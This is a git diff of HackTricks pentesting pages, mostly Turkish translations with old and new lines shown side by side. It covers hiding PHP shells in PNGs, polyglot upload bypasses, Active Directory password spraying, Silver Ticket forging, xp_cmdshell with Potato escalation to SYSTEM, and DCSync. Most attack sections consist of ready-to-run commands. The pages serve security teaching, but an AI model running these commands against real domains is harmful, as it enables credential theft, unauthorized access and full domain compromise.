## PHP Shell'i PNG'ye gömme
## PNG içinde PHP Shell Gömme
Bir PNG dosyasının IDAT chunk'ına bir PHP shell gömmek, bazı görüntü işleme operasyonlarını etkili şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları bu bağlamda özellikle önemlidir; bunlar sırasıyla görüntüleri yeniden boyutlandırma ve yeniden örnekleme için yaygın olarak kullanılır. Gömülen PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, belirli kullanım senaryoları için önemli bir avantaj sağlar.
Bir PNG dosyasının IDAT chunk'ına PHP shell gömmek, belirli görüntü işleme operasyonlarını etkili şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları bu bağlamda özellikle önemlidir; bunlar sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanılır. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, bazı kullanım durumları için önemli bir avantaj sağlar.
Bu tekniğin metodolojisi ve olası uygulamalarına dair ayrıntılı bir inceleme aşağıdaki makalede bulunuyor: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve sonuçlarının kapsamlı bir şekilde anlaşılmasını sağlar.
Bu tekniğin metodolojisi ve olası uygulamalarını içeren ayrıntılı bir inceleme şu makalede bulunuyor: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak süreç ve etkileri hakkında kapsamlı bir anlayış sunar.
Daha fazla bilgi: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Dosyalar
Polyglot dosyalar, aynı anda birden fazla dosya formatında geçerli olabilen kamufle olabilen dosyalar olarak siber güvenlikte benzersiz bir araç görevi görür. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar) — hem GIF hem de RAR arşivi olarak işlev gören bir hibrit. Bu tür dosyalar yalnızca bu ikili ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Polyglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde bulunabilen kamuflajcılar gibi davranırlar. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar) — hem GIF hem de RAR arşivi olarak işlev gören hibrit bir dosyadır. Bu tür dosyalar sadece bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Polyglot dosyaların temel faydası, dosyaları türlerine göre tarayan güvenlik önlemlerini atlatabilmeleridir. Birçok uygulamada yalnızca belirli dosya türlerine izin verilir — örneğin JPEG, GIF veya DOC — böylece potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riski azaltılmaya çalışılır. Ancak bir polyglot, birden fazla dosya türünün yapısal kriterlerine uyduğunda, bu kısıtlamaları gizlice aşabilir.
Polyglot dosyaların temel faydası, dosyaları tür bazında tarayan güvenlik önlemlerini aşma kapasitelerindedir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca JPEG, GIF veya DOC gibi belirli dosya türlerine izin vermektir. Ancak bir polyglot, birden fazla dosya türünün yapısal kriterlerine uyduğunda, bu kısıtlamaları sessizce atlatabilir.
Bununla birlikte polyglotların sınırları da vardır. Örneğin bir polyglot aynı anda bir PHAR (PHp ARchive) dosyası ve bir JPEG olabilse de, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem uzantılara karşı katıysa, bir polyglotun yalnızca yapısal ikiliği yükleme için yeterli olmayabilir.
Uyarlanabilirliklerine rağmen, polyglot'lar sınırlamalarla karşılaşabilir. Örneğin, bir polyglot aynı anda bir PHAR dosyası (PHp ARchive) ve bir JPEG olabilir; ancak yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılar konusunda katıysa, bir polyglot'un yalnızca yapısal ikiliği yüklemenin garantisi olmayabilir.
Daha fazla bilgi: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### PDF gibi görünür şekilde geçerli JSON yükleme
### PDF gibi davranan geçerli JSON'lar yükleme
İzin verilmese bile geçerli bir JSON dosyasını PDF taklidi yaparak yükleyerek dosya türü tespitlerinden nasıl kaçınılır (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** kaynağından):
Bir PDF dosyası taklidi yaparak, izin verilmiyor olsa bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılacağı (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: `%PDF` magic byte'ları ilk 1024 byte içinde olduğu sürece geçerli sayılır (örnek için gönderiye bakın)
- **`pdflib` library**: JSON içindeki bir alanın içine sahte bir PDF formatı ekleyerek kütüphanenin bunun bir PDF olduğunu sanmasını sağla (örnek için gönderiye bakın)
- **`file` binary**: Bir dosyadan 1048576 byte'a kadar okuyabilir. Dosyayı bunun üzerinde bir JSON yaparak oluştur; böylece içeriği JSON olarak parse edemez ve sonra JSON içinde gerçek bir PDF'in başlangıç kısmını koyarsın, `file` bunu PDF sanacaktır
- **`mmmagic` library**: İlk 1024 byte içinde `%PDF` magic byte'ları olduğu sürece geçerli sayılır (örnek için yazıya bakın)
- **`pdflib` library**: JSON'un bir alanı içine sahte bir PDF formatı ekleyin ki kütüphane bunun bir pdf olduğunu sansın (örnek için yazıya bakın)
- **`file` binary**: Bir dosyadan maksimum 1048576 byte okuyabilir. Basitçe JSON'u bu boyuttan daha büyük yapın ki içeriği bir json olarak parse edemesin; sonra JSON'un içine gerçek bir PDF'in başlangıç kısmını koyun ve bunun PDF olduğunu düşünecektir
## References
## Referanslar
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)

View File

@ -1,7 +1,7 @@
# Kerberos Kimlik Doğrulama
# Kerberos Authentication
{{#include ../../banners/hacktricks-training.md}}
**Harika gönderiyi şu adresten inceleyin:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**Harika yazıyı şu bağlantıdan inceleyin:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying**
Birkaç **geçerli kullanıcı adı** bulduktan sonra, keşfedilen her kullanıcı için en **yaygın parolaları** deneyebilirsiniz (ortamın parola politikasını göz önünde bulundurun).\
**varsayılan** olarak **minimum** **parola** **uzunluğu** **7**'dir.
Birkaç **geçerli kullanıcı adı** bulduktan sonra keşfettiğiniz her kullanıcı için en **yaygın parolaları** deneyebilirsiniz (ortamın parola politikasını göz önünde bulundurun).\
**Varsayılan** **minimum** **parola** **uzunluğu** **7**'dir.
Yaygın kullanıcı adları listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Unutmayın: **birkaç yanlış parola denerseniz bazı hesaplar kilitlenebilir** (varsayılan olarak 10'dan fazla).
Dikkat: **birden fazla yanlış parola denerseniz bazı hesapları kilitleyebilirsiniz** (varsayılan olarak 10'dan fazla).
### Parola politikası edinme
### Parola politikasını öğrenme
Eğer bazı kullanıcı kimlik bilgilerine veya domain user olarak bir shell'e sahipseniz, **parola politikasını şu şekilde alabilirsiniz**:
Eğer bazı kullanıcı kimlik bilgilerine veya domain kullanıcısı olarak bir shell'e sahipseniz, **parola politikasını şu şekilde alabilirsiniz**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,16 +31,16 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Exploitation — Linux'ten (veya tümü)
### Linux (veya tüm platformlar) üzerinden istismar
- Kullanarak **crackmapexec:**
- **crackmapexec** kullanarak:
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
- [**kerbrute**](https://github.com/ropnop/kerbrute) kullanarak (Go)
- [**kerbrute**](https://github.com/ropnop/kerbrute) kullanımı (Go)
```bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
@ -51,12 +51,12 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) kullanımı (python) - TAVSİYE EDİLMEZ, BAZEN ÇALIŞMAZ
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) kullanımı (python) - TAVSİYE EDİLMEZ - BAZEN ÇALIŞMAYABİLİR
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
- Metasploit'in `scanner/smb/smb_login` modülü ile:
- **Metasploit**'in `scanner/smb/smb_login` modülü ile:
![](<../../images/image (745).png>)
@ -69,7 +69,7 @@ done
```
#### Windows'tan
- brute module içeren [Rubeus](https://github.com/Zer1t0/Rubeus) sürümü ile:
- Brute module içeren [Rubeus](https://github.com/Zer1t0/Rubeus) sürümü ile:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,20 +77,20 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- İle [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Varsayılan olarak etki alanından kullanıcılar oluşturabilir ve etki alanından parola politikasını alarak denemeleri buna göre sınırlar):
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) ile (Varsayılan olarak domain'den kullanıcılar oluşturabilir ve parola politikasını domain'den alır ve deneme sayılarını buna göre sınırlar):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
- İle [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
- Kullanarak [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
```
Invoke-SprayEmptyPassword
```
### "Password must change at next logon" Hesaplarını Belirleme ve Ele Geçirme (SAMR)
### "Password must change at next logon" Hesaplarını Tespit Etme ve Ele Geçirme (SAMR)
Düşük-gürültülü bir teknik, benign/empty password ile spray yapıp STATUS_PASSWORD_MUST_CHANGE döndüren hesapları yakalamaktır; bu, parolanın zorla süresinin dolduğunu ve eski parolayı bilmeden değiştirilebileceğini gösterir.
Düşük gürültülü bir teknik, zararsız/boş bir password spray yapıp STATUS_PASSWORD_MUST_CHANGE döndüren hesapları yakalamaktır; bu, parolanın zorla geçersiz kılındığını ve eski parolayı bilmeden değiştirilebileceğini gösterir.
İş akışı:
- Kullanıcıları enumerate edin (RID brute via SAMR) ve hedef listesini oluşturun:
- Kullanıcıları enumerate ederek (RID brute via SAMR) hedef listesini oluşturun:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -99,12 +99,12 @@ Düşük-gürültülü bir teknik, benign/empty password ile spray yapıp STATUS
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Spray boş password kullan ve hitslerde devam et; next logon'da değiştirmek zorunda olan hesapları ele geçir:
- Spray boş bir password deneyin ve hits'lerde devam ederek next logon'da parola değiştirmek zorunda olan hesapları ele geçirin:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- Her hit için, NetExecs modülü ile SAMR üzerinden parolayı değiştirin ("must change" ayarı etkin olduğunda eski parola gerekmez):
- Her başarılı eşleşme için, SAMR üzerinden NetExecin modülüyle parolayı değiştirin ("must change" ayarlı olduğunda eski parola gerekmez):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
@ -114,8 +114,8 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
Operasyonel notlar:
- Sunucu saatinizin Kerberos tabanlı işlemlerden önce DC ile senkronize olduğundan emin olun: `sudo ntpdate <dc_fqdn>`.
- Bazı modüllerde (ör. RDP/WinRM), (Pwn3d!) olmayan bir [+] işareti, creds'in geçerli olduğunu ancak hesabın etkileşimli oturum açma haklarına sahip olmadığını gösterir.
- Kerberos tabanlı işlemlerden önce host saatinin DC ile senkronize olduğundan emin olun: `sudo ntpdate <dc_fqdn>`.
- Bazı modüllerde (ör. RDP/WinRM) (Pwn3d!) olmayan bir [+], creds'in geçerli olduğunu ancak hesabın etkileşimli oturum açma haklarına sahip olmadığını gösterir.
## Brute Force
```bash
@ -123,15 +123,15 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying, SMB/NTLM/LDAP bind denemelerine kıyasla gürültüyü azaltır ve AD hesap kilitleme politikalarıyla daha iyi uyum sağlar. SpearSpray, LDAP-driven targeting, pattern engine ve policy awareness (domain policy + PSOs + badPwdCount buffer) ile hassas ve güvenli şekilde spray yapar. Ayrıca Neo4j içinde ele geçirilmiş principal'ları BloodHound pathing için etiketleyebilir.
Kerberos pre-authbased spraying, SMB/NTLM/LDAP bind attempts'e kıyasla gürültüyü azaltır ve AD lockout policies ile daha iyi uyum sağlar. SpearSpray, LDAP-driven targeting, bir pattern engine ve policy awareness (domain policy + PSOs + badPwdCount buffer) ile hassas ve güvenli bir şekilde spray yapar. Ayrıca ele geçirilmiş principal'ları BloodHound pathing için Neo4j'de etiketleyebilir.
Key ideas:
- LDAP ile kullanıcı keşfi; paging ve LDAPS desteği ile, isteğe bağlı olarak custom LDAP filtreleri kullanılabilir.
- Domain lockout policy + PSO-aware filtering ile yapılandırılabilir bir deneme tamponu (threshold) bırakmak ve kullanıcıların kilitlenmesini önlemek.
- Kerberos pre-auth validation, hızlı gssapi bindings kullanılarak (DCs üzerinde 4625 yerine 4768/4771 oluşturur).
- Pattern-based, kullanıcı başına parola oluşturma; isimler ve her kullanıcının pwdLastSet'inden türetilen zamansal değerler gibi değişkenler kullanılır.
- Throughput kontrolü threads, jitter ve max requests per second ile sağlanır.
- Opsiyonel Neo4j entegrasyonu ile ele geçirilen kullanıcılar BloodHound için işaretlenebilir.
- LDAP kullanıcı keşfi (sayfalandırma ve LDAPS desteği), isteğe bağlı olarak özel LDAP filtreleri kullanılarak.
- Domain lockout policy + PSO-aware filtreleme ile yapılandırılabilir bir deneme tamponu (threshold) bırakılarak kullanıcıların kilitlenmesinin önlenmesi.
- Hızlı gssapi bindings kullanarak Kerberos pre-auth doğrulaması (DC'lerde 4625 yerine 4768/4771 oluşturur).
- Pattern-based, kullanıcı başına parola oluşturma; isimler ve her kullanıcının pwdLastSet'inden türetilen zaman değerleri gibi değişkenleri kullanır.
- İşlem hacmi kontrolü: iş parçacıkları (threads), jitter ve saniye başına maksimum istek ile.
- İsteğe bağlı Neo4j entegrasyonu ile ele geçirilmiş kullanıcıları BloodHound için işaretleme.
Basic usage and discovery:
```bash
@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
Gizlilik ve güvenlik kontrolleri:
Gizlenme ve güvenlik kontrolleri:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -165,7 +165,7 @@ Neo4j/BloodHound zenginleştirme:
```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
```
Pattern sistemi genel bakış (patterns.txt):
Desen sistemi genel bakışı (patterns.txt):
```text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
@ -176,27 +176,27 @@ Pattern sistemi genel bakış (patterns.txt):
```
Kullanılabilir değişkenler şunlardır:
- {name}, {samaccountname}
- Her kullanıcının pwdLastSet (veya whenCreated) alanından türetilen zamanla ilgili: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Kompozisyon yardımcıları ve organizasyon tokeni: {separator}, {suffix}, {extra}
- Her kullanıcının pwdLastSet (veya whenCreated) değerinden zamanla ilgili: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Bileşim yardımcıları ve organizasyon tokeni: {separator}, {suffix}, {extra}
Operasyonel notlar:
- En yetkili badPwdCount ve politika ile ilgili bilgileri okumak için PDC-emulator'a -dc ile sorgu yapmayı tercih edin.
- En yetkili badPwdCount ve politika ile ilgili bilgileri okumak için -dc ile PDC-emulator sorgulamayı tercih edin.
- badPwdCount sıfırlamaları gözlem penceresinden sonraki bir sonraki denemede tetiklenir; güvende kalmak için eşik ve zamanlamayı kullanın.
- Kerberos pre-auth denemeleri DC telemetrisinde 4768/4771 olarak görünür; karışmak için jitter ve rate-limiting kullanın.
- Kerberos pre-auth denemeleri DC telemetrilerinde 4768/4771 olarak görünür; karışmak için jitter ve rate-limiting kullanın.
> İpucu: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access
p**assword spraying outlook** için birden çok araç vardır.
p**assword spraying outlook** için birden fazla araç vardır.
- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- With [Ruler](https://github.com/sensepost/ruler) (güvenilir!)
- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
- İle [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- İle [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- İle [Ruler](https://github.com/sensepost/ruler) (güvenilir!)
- İle [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- İle [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve spray yapmak için bir password / küçük bir password listesine ihtiyacınız var.
Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve bir parola ya da küçük bir parola listesine ihtiyacınız vardır.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -215,7 +215,7 @@ Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve spra
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
## Referanslar
## Kaynaklar
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)

View File

@ -6,15 +6,15 @@
## Silver ticket
**Silver Ticket** saldırısı, Active Directory (AD) ortamlarındaki service tickets'ın istismarıyla ilgilidir. Bu yöntem, bir computer account gibi bir service account'un **acquiring the NTLM hash of a service account** işlemini gerektirir; bu hash ile bir Ticket Granting Service (TGS) ticket'ı sahte olarak oluşturulur. Bu sahte ticket ile saldırgan, ağdaki belirli servislere erişebilir ve genellikle yönetici ayrıcalıklarını hedefleyerek **impersonating any user** yapabilir. Ticket oluştururken AES keys kullanmanın daha güvenli ve daha az tespit edilebilir olduğu vurgulanır.
The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
> [!WARNING]
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
For ticket crafting, different tools are employed based on the operating system:
Bilet oluşturma (ticket crafting) için, kullanılan araçlar işletim sistemine göre farklılık gösterir:
### Linux'ta
### Linux üzerinde
```bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
CIFS servisi, hedefin dosya sistemine erişmek için yaygın bir hedef olarak öne çıkar, ancak HOST ve RPCSS gibi diğer servisler de görevler ve WMI sorguları için sömürülebilir.
CIFS servisi, hedefin dosya sistemine erişim için yaygın bir hedef olarak vurgulanır; ancak HOST ve RPCSS gibi diğer servisler de görevler ve WMI sorguları için istismar edilebilir.
### Örnek: MSSQL servisi (MSSQLSvc) + Potato ile SYSTEM'e
### Örnek: MSSQL servisi (MSSQLSvc) + Potato to SYSTEM
Eğer bir SQL servis hesabının (ör. sqlsvc) NTLM hash'ine (veya AES anahtarına) sahipseniz, MSSQL SPN için bir TGS sahteleyebilir ve SQL servisine karşı herhangi bir kullanıcıyı taklit edebilirsiniz. Buradan xp_cmdshell'i etkinleştirip SQL servis hesabı olarak komut çalıştırabilirsiniz. Eğer o token SeImpersonatePrivilege'e sahipse, Potato kullanarak SYSTEM'e yükseltebilirsiniz.
If you have the NTLM hash (or AES key) of a SQL service account (e.g., sqlsvc) you can forge a TGS for the MSSQL SPN and impersonate any user to the SQL service. From there, enable xp_cmdshell to execute commands as the SQL service account. If that token has SeImpersonatePrivilege, chain a Potato to elevate to SYSTEM.
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
@ -52,14 +52,14 @@ export KRB5CCNAME=$PWD/administrator.ccache
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- Eğer ortaya çıkan bağlamda SeImpersonatePrivilege varsa (genellikle hizmet hesapları için geçerlidir), SYSTEM elde etmek için bir Potato varyantı kullanın:
- Eğer ortaya çıkan bağlam SeImpersonatePrivilege'e sahipse (genellikle hizmet hesapları için geçerlidir), SYSTEM elde etmek için bir Potato varyantı kullanın:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
```
MSSQL'i kötüye kullanma ve xp_cmdshell'i etkinleştirme hakkında daha fazla detay:
MSSQL'in kötüye kullanılması ve xp_cmdshell'in etkinleştirilmesi hakkında daha fazla detay:
{{#ref}}
abusing-ad-mssql.md
@ -84,11 +84,11 @@ Potato tekniklerine genel bakış:
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
Using **Rubeus** you may **ask for all** these tickets using the parameter:
Rubeus kullanarak bu ticket'ların tümünü şu parametre ile isteyebilirsiniz:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### Silver tickets Event IDs
### Silver tickets Olay ID'leri
- 4624: Account Logon
- 4634: Account Logoff
@ -96,30 +96,30 @@ Using **Rubeus** you may **ask for all** these tickets using the parameter:
## Kalıcılık
Makinelerin parolalarını her 30 günde bir değiştirmelerini önlemek için `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` olarak ayarlayabilirsiniz veya makinelerin parola döndürme süresini göstermek için `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` değerini 30days'den daha büyük bir değere ayarlayabilirsiniz.
Makinelerin parolalarını her 30 günde bir döndürmesini engellemek için `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` olarak ayarlayabilir ya da makinelerin parolasının ne zaman döndürüleceğini göstermek için `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` değerini 30 günden daha büyük bir değere ayarlayabilirsiniz.
## Servis ticket'larının kötüye kullanımı
## Service ticket'larının kötüye kullanımı
Aşağıdaki örneklerde ticket'ın administrator hesabı taklidi yapılarak elde edildiğini varsayalım.
Aşağıdaki örneklerde ticket'in yönetici hesabını taklit ederek elde edildiğini varsayalım.
### CIFS
Bu ticket ile `C$` ve `ADMIN$` klasörlerine **SMB** üzerinden (eğer ığa çıkmışlarsa) erişebilir ve uzak dosya sistemine dosya kopyalayabilirsiniz, örneğin:
Bu ticket ile `C$` ve `ADMIN$` klasörlerine **SMB** üzerinden (eğer erişilebilirlerse) erişebilir ve uzak dosya sisteminin bir bölümüne dosya kopyalamak için şu şekilde işlem yapabilirsiniz:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
Ayrıca konakta bir shell elde edebilir veya **psexec** kullanarak istediğiniz komutları çalıştırabilirsiniz:
Ayrıca host içinde bir shell elde edebilir veya **psexec** kullanarak herhangi bir komutu çalıştırabilirsiniz:
{{#ref}}
../lateral-movement/psexec-and-winexec.md
{{#endref}}
### KONAK
### HOST
Bu izinle uzak bilgisayarlarda zamanlanmış görevler oluşturabilir ve istediğiniz komutları çalıştırabilirsiniz:
Bu izinle uzak bilgisayarlarda zamanlanmış görevler oluşturabilir ve herhangi bir komutu çalıştırabilirsiniz:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -133,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
Bu biletlerle hedef sistemde **WMI çalıştırabilirsiniz**:
Bu tickets ile hedef sistemde **WMI çalıştırabilirsiniz**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -143,7 +143,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
Aşağıdaki sayfada **wmiexec hakkında daha fazla bilgi** bulun:
wmiexec hakkında **daha fazla bilgi** için aşağıdaki sayfaya bakın:
{{#ref}}
@ -152,11 +152,11 @@ Aşağıdaki sayfada **wmiexec hakkında daha fazla bilgi** bulun:
### HOST + WSMAN (WINRM)
Winrm erişimi ile bir bilgisayara **erişebilirsiniz** ve hatta PowerShell elde edebilirsiniz:
Bir bilgisayarda winrm erişiminiz olduğunda ona **erişebilir** ve hatta PowerShell alabilirsiniz:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Uzak hosta winrm kullanarak bağlanmanın **daha fazla yolunu** öğrenmek için aşağıdaki sayfayı inceleyin:
Uzak bir hosta bağlanmanın **winrm kullanarak daha fazla yolunu** öğrenmek için aşağıdaki sayfaya bakın:
{{#ref}}
@ -164,7 +164,7 @@ Uzak hosta winrm kullanarak bağlanmanın **daha fazla yolunu** öğrenmek için
{{#endref}}
> [!WARNING]
> Erişim için **winrm'in uzak bilgisayarda aktif ve dinliyor olması** gerektiğini unutmayın.
> Uzak bilgisayara erişim için **winrm'in etkin ve dinliyor olması gerektiğini** unutmayın.
### LDAP
@ -172,7 +172,7 @@ Bu ayrıcalıkla **DCSync** kullanarak DC veritabanını dökebilirsiniz:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**DCSync hakkında daha fazla bilgi edinin** aşağıdaki sayfada:
**DCSync hakkında daha fazla bilgi edinin** için aşağıdaki sayfaya bakın:
{{#ref}}

View File

